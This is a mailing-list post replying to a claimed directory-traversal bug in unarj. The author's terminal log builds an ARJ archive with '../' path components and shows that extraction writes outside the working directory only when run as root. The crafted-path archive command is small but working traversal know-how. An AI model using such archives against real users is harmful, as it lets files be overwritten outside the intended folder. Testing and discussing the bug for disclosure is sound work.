[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <1f29b894041011125056e51b82@mail.gmail.com>
From: umphress at gmail.com (Chris Umphress)
Subject: unarj dir-transversal bug (../../../..)
>
> http://www.google.com/search?q=%22directory+traversal%22&meta=
>
> doubles
I know what a directory traversal is. I did a little test run of this
"bug." For sanitary reasons, I did not install arj when I compiled it.
It was merely moved to ~/test. Here is what I've done to test what you
are saying:
---------------<snip>----------------
<window #1>
root@...is:/usr/local/bin# touch test.txt
root@...is:/usr/local/bin# chown root.root test.txt
<window #2>
chris@...is:~/test$ arj a test.arj ../../../usr/local/bin/test.txt
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia. [11 Oct 2004]
Creating archive : test.arj
Adding ../../../usr/local/bin/test.txt 100.0%
1 file(s)
<window #1>
root@...is:/usr/local/bin# rm -rf test.txt
<window #2>
chris@...is:~/test$ unarj x test.arj
UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung
Processing archive: test.arj
Archive date : 2012-11-10 27:44:04
Can't open ../../usr/local/bin/test.txt
0 file(s)
Found 1 error(s)!
chris@...is:~/test$ cd ..
chris@...is:~$ unarj x test/test.arj
UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung
Processing archive: test/test.arj
Archive date : 2012-11-10 27:44:04
Can't open ../../usr/local/bin/test.txt
0 file(s)
Found 1 error(s)!
chris@...is:~$ sudo unarj x test/test.arj
UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung
Processing archive: test/test.arj
Archive date : 2012-11-10 27:44:04
Extracting ../../usr/local/bin/test.txt CRC OK
1 file(s)
<window #1>
root@...is:/usr/local/bin# ls -l test.txt
-rw-r--r-- 1 root root 13 2012-11-11 02:42 test.txt
--------------------------------------------
Apart from it removing one "../" from the filename I gave it, it
worked exactly as I expected.
-- Chris
--
Chris Umphres <http://daga.dyndns.org/>
Powered by blists - more mailing lists